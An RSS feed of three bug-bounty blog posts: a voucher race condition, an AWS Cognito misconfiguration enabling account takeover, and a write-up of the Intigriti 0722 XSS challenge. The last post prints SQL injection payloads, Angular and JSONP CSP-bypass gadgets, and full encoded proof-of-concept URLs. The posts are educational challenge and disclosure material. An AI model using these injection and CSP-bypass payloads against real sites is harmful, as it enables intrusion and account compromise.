<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Deshine on Medium]]></title>
        <description><![CDATA[Stories by Deshine on Medium]]></description>
        <link>https://medium.com/@_deshine_?source=rss-a5d2353640b2------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*ZvwNECg8fqR46m48A_xoRg.png</url>
            <title>Stories by Deshine on Medium</title>
            <link>https://medium.com/@_deshine_?source=rss-a5d2353640b2------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 29 Nov 2026 02:18:07 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@_deshine_/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Easy 2000$ Race Condition]]></title>
            <link>https://medium.com/@_deshine_/easy-2000-race-condition-b4d093c9bc3c?source=rss-a5d2353640b2------2</link>
            <guid isPermaLink="false">https://medium.com/p/b4d093c9bc3c</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[information-security]]></category>
            <dc:creator><![CDATA[Deshine]]></dc:creator>
            <pubDate>Wed, 25 Jan 2023 14:51:37 GMT</pubDate>
            <atom:updated>2023-01-25T14:51:37.181Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZvwNECg8fqR46m48A_xoRg.png" /></figure><p>In this post, I will show you how Race Condition can be critical.</p><p>A few months ago, I was invited to a new Hackerone program. This program is about managing the games of basketball and baseball teams. It has a lot of roles and permissions but in this post I won’t talk about them.</p><p>This program has 2 domains that can be temporarily called:</p><ul><li><a href="https://redacted.com/">https://redacted.com</a> (This is the main site for people to join the team or create a team that invites everyone to join).</li><li><a href="https://bv.redacted.com/">https://bv.redacted.com</a> (This is a site for admins to manage teams, times, locations of matches, etc).</li></ul><p>Admins can configure membership fees to participate in the tournament or join the team. They can also configure discount vouchers for participants.</p><p>If we use a voucher to join the team or enter the tournament, we will get a discount or free. But the voucher is limited.</p><p>So how can we make vouchers unlimited?</p><p>We will use multiple accounts to race at the same time, then all accounts registered to the team will be discounted or free.</p><p>This will cause the voucher to exceed the amount allowed in the configuration resulting in the organization losing money. And if it has anything to do with money, it will be CRITICAL.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xtSSmIP97oOAseocB-YSUA.png" /></figure><p>Thank you for spending time reading.</p><p>DESHINE</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b4d093c9bc3c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Account Take Over Due To AWS Cognito Misconfiguration]]></title>
            <link>https://medium.com/@_deshine_/account-take-over-due-to-aws-cognito-misconfiguration-7b092c667ee3?source=rss-a5d2353640b2------2</link>
            <guid isPermaLink="false">https://medium.com/p/7b092c667ee3</guid>
            <category><![CDATA[hackerone]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[account-takeover]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Deshine]]></dc:creator>
            <pubDate>Mon, 16 Jan 2023 08:15:17 GMT</pubDate>
            <atom:updated>2023-01-17T06:04:59.489Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZvwNECg8fqR46m48A_xoRg.png" /></figure><p>In this post, I will share how I check the misconfiguration in AWS Cognito leads to Account Takeover.</p><p>I was invited to a Hackerone program a few months ago. It’s a banking app but uses AWS Cognito to authenticate users. (To know more about AWS Cognito, check out this link: <a href="https://docs.aws.amazon.com/cognito/?icmpid=docs_homepage_security">https://docs.aws.amazon.com/cognito/?icmpid=docs_homepage_security</a>)</p><p>When register in the application, the request will look like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7wlwhUpLTmp6sHxBioh8fg.png" /></figure><p>The app will ask for username, password, email, and a “custom:userId” field that the app itself adds. The “custom:userId” value will be the userId used inside the app.</p><p>Then confirm the OTP with the following request:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O05VT6yz7zfjIWr-liqt9A.png" /></figure><p>The misconfiguration in here is when a new user registers with the same “custom:userId” and use ForceAliasCreation as true.</p><p>The AWS Cognito will replace value “custom:userId” of previous user with the latest one. The application does not check whether this “custom:userId” belongs to someone else, so at this time the new user will take over the owner account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7URIu92lWJXSr5x6kRlorg.png" /></figure><p>Because the format of “custom:userId” is UUID, the severity is downgraded to high.</p><p>This is one of the rare cases i come across.</p><p>In most AWS Cognito applications that I tested, they do not allow user to create an account.</p><p>So if you find a website using AWS Cognito, please check this case.</p><p>Thank you for spending time reading.</p><p>Have a wonderful year!!!</p><p>DESHINE</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7b092c667ee3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I found an XSS through a SQL Injection (Solution for Intigriti XSS challenge 0722 by Vroemy)]]></title>
            <link>https://medium.com/@_deshine_/how-i-found-an-xss-through-a-sql-injection-solution-for-intigriti-xss-challenge-0722-by-vroemy-b33375cb6b91?source=rss-a5d2353640b2------2</link>
            <guid isPermaLink="false">https://medium.com/p/b33375cb6b91</guid>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[swag]]></category>
            <category><![CDATA[challenge]]></category>
            <category><![CDATA[intigriti]]></category>
            <category><![CDATA[sql-injection]]></category>
            <dc:creator><![CDATA[Deshine]]></dc:creator>
            <pubDate>Tue, 26 Jul 2022 18:24:32 GMT</pubDate>
            <atom:updated>2022-07-29T10:21:14.382Z</atom:updated>
            <content:encoded><![CDATA[<h3>Overview</h3><p>In this challenge, the site looks like a blog because its name is <a href="https://challenge-0722.intigriti.io/challenge/challenge.php#">Awesome kitty blog</a>. :D</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JLY6mvI4u90bJgEhvCxNEA.png" /></figure><p>So, what do we have here? There are posts, authors, content, and archives. Hmmm, it seems like a very simple blog site with only a few links to try out.<br>Let’s see.</p><p>All links are useless except the archives which take us to another place with the interesting parameter “month”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UH6vSe-UNWYgKnrmvVV9hQ.png" /></figure><p>First, I thought this would be a very strict WAF to bypass because there is only one parameter exists. But I played with it a little and it didn’t reflect in the response. And I was like:</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgfycat.com%2Fifr%2Fharmoniousjaggedacornweevil&amp;display_name=Gfycat&amp;url=https%3A%2F%2Fgfycat.com%2Fharmoniousjaggedacornweevil-michael-jai-white-what-did-you-say&amp;image=https%3A%2F%2Fthumbs.gfycat.com%2FHarmoniousJaggedAcornweevil-size_restricted.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=gfycat" width="960" height="720" frameborder="0" scrolling="no"><a href="https://medium.com/media/a84c5ea53df05ada12c650fc6084f164/href">https://medium.com/media/a84c5ea53df05ada12c650fc6084f164/href</a></iframe><p>Does it only accept numbers 2 and 3??? Oh, it must be something else. Then in my mind, I had to try a simple SQL injection, and yeah here we go.</p><p>I added &quot;and 1=1--&quot; or &quot;and 1=2-—&quot; and the server returned differently. At this time, I knew that I got a SQL injection… But wait why do we have to chain from SQL injection to XSS (P1 -&gt; P3).</p><p>Never mind, I opened sqlmap to dump all databases and I found a database named “blog” which relates to this challenge.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YBTF2B8riw_iobz-CxOBzw.png" /></figure><p>I wanted to change the record but in the end, the database is “MySQL” so I could not use &quot;--sql-query&quot; or &quot;--sql-shell&quot; options.</p><p>In the image above, we got the “post”, “author”, and “youtube” tables. The payload looks like this:</p><p>month=2 UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(STRING,STRING,STRING)-- -</p><p>The payload got reflected in the response so my guess about the query in the backend was:</p><p>SELECT * FROM post WHERE MONTH(datetime)=2 UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(STRING,STRING,STRING)-- -</p><p>Then the backend took the result to render the page. So I injected payload &lt;script&gt;alert(1)&lt;/script&gt; as hexadecimal into CONCAT function.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hKXjFh54Bx6mwF50E7kFlQ.png" /></figure><p>All the less than sign “&lt;” and greater than sign “&gt;” are encoded.</p><p>Hmmm, so I tried other positions in the query. All of them are encoded except the fourth place which returned an error. So what is the fourth one? I looked back at the database dump in sqlmap, it’s an author column that accepts only numbers.</p><p>Then I tried value 1 and I got the author’s name in the response.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uWoy-DcfQw9iKvQvPYtmyg.png" /></figure><p>Anton …. Maybe the backend does not encode the author name? So let’s try.</p><p>The author column is a number so this means that it must be a second query to get author’s name through “user” table by number. Then my guess on the second query was:</p><p>SELECT * FROM user WHERE id=something ...</p><p>I added 1 UNION SELECT NULL,NULL,NULL-- - , but I got an error from the server. It seems like the error syntax from the first query. I had to find another way without using comment.</p><p>After spending a lot of time searching, I finally found the payload that meets my needs which is “IFNULL”. So the final query looks like this:</p><p>SELECT * FROM user WHERE id=IFNULL(NULL, hexadecimal payload) ...</p><p>I injected 1 UNION SELECT NULL,CONCAT(payload),NULL-- - as hexadecimal but the server always returns “Anton” without my payload. Am I wrong?</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgfycat.com%2Fifr%2Fdifficultrelievedamazonparrot&amp;display_name=Gfycat&amp;url=https%3A%2F%2Fgfycat.com%2Fdifficultrelievedamazonparrot&amp;image=https%3A%2F%2Fthumbs.gfycat.com%2FDifficultRelievedAmazonparrot-size_restricted.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=gfycat" width="1920" height="1080" frameborder="0" scrolling="no"><a href="https://medium.com/media/b7fe4abef863e543c54f6c7b1606929e/href">https://medium.com/media/b7fe4abef863e543c54f6c7b1606929e/href</a></iframe><p>The answer is NO. The backend only renders the first row of the result. So the payload must be: 3 UNION SELECT NULL,CONCAT(payload),NULL-- - (the table only has two ids 1 and 2, so 3 does not exist, the result will be our payload).</p><p>And the final payload is:</p><p>month=2 UNION ALL SELECT NULL,NULL,NULL,IFNULL(NULL,hexadecimal(3 UNION SELECT NULL,CONCAT(hexadecimal(payload),NULL-- -)),NULL-- -</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Fw3crzegddJuab2rD_8eLw.png" /></figure><p>HAHA, it’s easy. Right?</p><p>Let’s open the browser to see the alert.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgfycat.com%2Fifr%2Fpowerfulteemingblackbird&amp;display_name=Gfycat&amp;url=https%3A%2F%2Fgfycat.com%2Fpowerfulteemingblackbird-excitement-yay-celebration-hooray-party&amp;image=https%3A%2F%2Fthumbs.gfycat.com%2FPowerfulTeemingBlackbird-size_restricted.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=gfycat" width="240" height="314" frameborder="0" scrolling="no"><a href="https://medium.com/media/d62c4c2cbeb13585250de8a8b713852d/href">https://medium.com/media/d62c4c2cbeb13585250de8a8b713852d/href</a></iframe><p>But another thing came in … CSP.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/705/1*--7ztr7y83PQfqCLnDbW8w.png" /></figure><p>We see that the server sets Content Security Policy “default-src” which only allows specifying the default or fallback resources loaded (or fetched) on the page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*T-tbPzFpzd_EuizOTo-Rvw.png" /></figure><p>In my experience, the best way to bypass the CSP is to go to <a href="https://csp-evaluator.withgoogle.com/">https://csp-evaluator.withgoogle.com/</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1012/1*AaTEL6IZdDWlLUDJgyEBTg.png" /></figure><p>We can use Angular to alert an XSS but how?</p><p>I searched google with the content “Angular xss” and I found this:</p><p>&lt;script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.7.0/angular.min.js&gt;&lt;/script&gt;<br>&lt;x ng-app&gt;{{$new.constructor(&#39;alert(1)&#39;)()}}</p><p>I tried in my local host to see if it works.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L4HLdUdxlGIAtW5kGh93iA.png" /></figure><p>Yay, it worked. Let’s try in our payload:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6o09DgXDgqBBxQ0vd6WA6Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*63Utsy7CKl6btZQWnpuSWA.png" /></figure><p>Wait… How? Why it did not work?</p><p>It seems like the CSP prevents Angular to execute eval(). I spent most of the day looking for the solution but nothing happened.</p><p>I was total disappointment.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgfycat.com%2Fifr%2Faliveordinaryiggypops&amp;display_name=Gfycat&amp;url=https%3A%2F%2Fgfycat.com%2Faliveordinaryiggypops-disappointed&amp;image=https%3A%2F%2Fthumbs.gfycat.com%2FAliveOrdinaryIggypops-size_restricted.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=gfycat" width="880" height="402" frameborder="0" scrolling="no"><a href="https://medium.com/media/990611e1f6ca8a7292f330df448ee9ae/href">https://medium.com/media/990611e1f6ca8a7292f330df448ee9ae/href</a></iframe><p>But then I used my last weapon when I could not solve a problem. I searched for the CTF challenge with the hope of finding something. And then I found this.</p><pre>&lt;script src=&quot;https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js&quot;&gt;&lt;/script&gt;<br>&lt;script src=&quot;https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js&quot;&gt;&lt;/script&gt;<br>&lt;div ng-app ng-csp&gt;<br><br>{{$on.curry.call().alert($on.curry.call().document.domain)}}<br><br>&lt;/div&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vQfIXk-09o_Iivl9WIXiHw.png" /></figure><p>I opened it in the browser and it popped up.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TGhzE6eze1USECUOxnksEQ.png" /></figure><p>YAYYYYY………<br>So the full POC is <a href="https://challenge-0722.intigriti.io/challenge/challenge.php?month=2+UNION+ALL+SELECT+NULL,NULL,NULL,IFNULL(NULL,0x3320554e494f4e2053454c454354204e554c4c2c434f4e43415428307836352c3078336337333633373236393730373432303733373236333364323236383734373437303733336132663266363336343665366137333265363336633666373536343636366336313732363532653633366636643266363136613631373832663663363936323733326637303732366637343666373437393730363532663331326533373265333232663730373236663734366637343739373036353265366137333232336533633266373336333732363937303734336530613363373336333732363937303734323037333732363333643232363837343734373037333361326632663633363436653661373332653633366336663735363436363663363137323635326536333666366432663631366136313738326636633639363237333266363136653637373536633631373232653661373332663331326533303265333132663631366536373735366336313732326536613733323233653363326637333633373236393730373433653061336336343639373632303665363732643631373037303230366536373264363337333730336530613061376237623234366636653265363337353732373237393265363336313663366332383239326536313663363537323734323832343666366532653633373537323732373932653633363136633663323832393265363436663633373536643635366537343265363436663664363136393665323937643764306130613363326636343639373633652c30783635292c4e554c4c2d2d202d),NULL--+-">https://challenge-0722.intigriti.io/challenge/challenge.php?month=2+UNION+ALL+SELECT+NULL,NULL,NULL,IFNULL(NULL,0x3320554e494f4e2053454c454354204e554c4c2c434f4e43415428307836352c3078336337333633373236393730373432303733373236333364323236383734373437303733336132663266363336343665366137333265363336633666373536343636366336313732363532653633366636643266363136613631373832663663363936323733326637303732366637343666373437393730363532663331326533373265333232663730373236663734366637343739373036353265366137333232336533633266373336333732363937303734336530613363373336333732363937303734323037333732363333643232363837343734373037333361326632663633363436653661373332653633366336663735363436363663363137323635326536333666366432663631366136313738326636633639363237333266363136653637373536633631373232653661373332663331326533303265333132663631366536373735366336313732326536613733323233653363326637333633373236393730373433653061336336343639373632303665363732643631373037303230366536373264363337333730336530613061376237623234366636653265363337353732373237393265363336313663366332383239326536313663363537323734323832343666366532653633373537323732373932653633363136633663323832393265363436663633373536643635366537343265363436663664363136393665323937643764306130613363326636343639373633652c30783635292c4e554c4c2d2d202d),NULL--+-</a></p><p>After a few days of thinking, I found another payload which is more way shorter than the previous by using this endpoint <a href="https://www.googleapis.com/customsearch/v1?callback=alert(document.domain)">https://www.googleapis.com/customsearch/v1?callback=alert(document.domain)</a></p><p>The second POC is <a href="https://challenge-0722.intigriti.io/challenge/challenge.php?month=0+union+select+0,0,0,0x3020756e696f6e2073656c65637420302c40782c30,@x:=0x3c536372697074207372633d2f2f7777772e676f6f676c65617069732e636f6d2f637573746f6d7365617263682f76313f63616c6c6261636b3d616c65727428646f63756d656e742e646f6d61696e2923">https://challenge-0722.intigriti.io/challenge/challenge.php?month=0+union+select+0,0,0,0x3020756e696f6e2073656c65637420302c40782c30,@x:=0x3c536372697074207372633d2f2f7777772e676f6f676c65617069732e636f6d2f637573746f6d7365617263682f76313f63616c6c6261636b3d616c65727428646f63756d656e742e646f6d61696e2923</a></p><p>Hope you enjoy reading it! Have a nice day.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b33375cb6b91" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>